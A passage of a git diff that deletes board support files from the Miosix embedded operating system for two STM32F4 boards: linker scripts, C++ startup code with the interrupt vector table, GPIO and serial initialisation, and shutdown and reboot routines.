based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/stm32_512k+128k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/stm32_512k+128k_rom.ld deleted file mode 100644 index 1adf73d4e..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/stm32_512k+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/core/stage_1_boot.cpp deleted file mode 100644 index 9af45b2da..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,380 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f4 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index e6f6234f1..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F415xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 09568c801..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,142 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - //The display could be damaged if left on but without refreshing it - typedef Gpio dispoff;//DISPOFF signal to display - dispoff::high(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index 49f95d8fd..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,89 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * D0 : PC8 - * D1 : PC9 - * D2 : PC10 (conflicts with CS43L22 SCK) - * D3 : PC11 - * CLK : PC12 (conflicts with CS43L22 SDIN) - * CMD : PD2 - * - * The conflicts mean that it's not possible to use both the SD card and - * the audio playback feature on this board. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/stm32_1m+192k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/stm32_1m+192k_rom.ld deleted file mode 100644 index 8c0d05921..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/stm32_1m+192k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * 